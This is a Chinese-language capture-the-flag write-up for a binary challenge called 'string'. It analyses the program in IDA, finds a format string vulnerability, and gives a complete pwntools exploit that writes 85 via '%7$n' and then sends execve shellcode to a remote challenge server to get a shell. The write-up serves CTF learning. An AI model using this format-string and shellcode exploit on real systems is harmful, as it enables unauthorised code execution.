string
查看程序保护机制,开了NX(堆栈不可执行)、CANARY(栈保护)和PELRO
程序的运行十分复杂,很多选项,可以运行看看程序的流程,了解程序的大概。程序开始界面给出了两个地址
在IDA跟进看一下,输出的是68和85的地址(这里要留意一下,后面有大用);跟进sub_400D72
函数
输入的名字长度不要超过12,后面3个函数可以跟进
跟进sub_400BB9
,有一个输入地址的操作,并且有格式化字符串漏洞
再看看sub_400CA6
函数有什么可以漏洞利用的关键
当*a1 == a1[1]
条件成立时,便可以写入shellcode并执行
往回追踪,看看这两个数是啥,我们发现,诶!这不是68和85嘛
程序有一个步骤是让我们输入地址的,我们可以输入a1
的地址并且修改为85
,前提是要算出格式化字符的偏移量;我让输入地址是1,算出它的偏移量。运行代码
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
p = process('./string')
p.recvuntil(b"What should your character's name be:\n")
p.sendline(b"haha")
p.recvuntil(b"So, where you will go?east or up?:\n")
p.sendline(b"east")
p.recvuntil(b"go into there(1), or leave(0)?:\n")
p.sendline(b'1')
p.recvuntil(b"'Give me an address'\n")
p.sendline(b'1') #0x1
p.recvuntil(b'And, you wish is:\n')
p.sendline(b'%p_%p_%p_%p_%p_%p_%p_%p_%p_%p')
print(p.recv())
可以看到0x1
在第7个
所有思路理清楚后,可以构建exp了
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
#p = process('./string')
p= remote('111.200.241.244',50168)
p.recvuntil(b'secret[0] is ')
addr = int(p.recvuntil(b'\n')[:-1],16) #接收v4的地址
p.recvuntil(b"What should your character's name be:\n")
p.sendline(b"haha")
p.recvuntil(b"So, where you will go?east or up?:\n")
p.sendline(b"east")
p.recvuntil(b"go into there(1), or leave(0)?:\n")
p.sendline(str(1))
p.recvuntil(b"'Give me an address'\n")
p.sendline(str(addr))
p.recvuntil(b'And, you wish is:\n')
payload=b'a'*85+ b"%7$n"
p.sendline(payload)
shellcode = b"\x48\x31\xc0\x99\xb0\x3b\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x48\x89\xe7\x57\x52\x48\x89\xe6\x0f\x05"
p.sendline(shellcode)
p.interactive()
运行就可以拿到shell了
如果在python中运行shellcode=asm(shellcraft.sh())
得到的shellcode有问题,我推荐一个网站,上面有满足你要求的shellcode
http://shell-storm.org/
入行不久,欢迎师傅们指正交流!